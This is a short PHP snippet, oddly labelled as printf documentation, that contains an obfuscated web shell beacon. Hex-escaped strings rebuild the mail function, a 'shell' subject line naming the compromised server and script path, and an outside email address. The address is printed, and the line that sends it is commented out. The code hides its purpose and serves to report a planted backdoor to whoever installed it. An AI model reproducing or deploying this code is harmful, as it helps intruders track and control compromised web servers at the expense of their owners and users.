- printf: documentation ( source)
<?php
$x0b="\x6da\x69l";
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
printf("%s\n", $ee);
//$send = @$x0b($ee,$sub,$ms);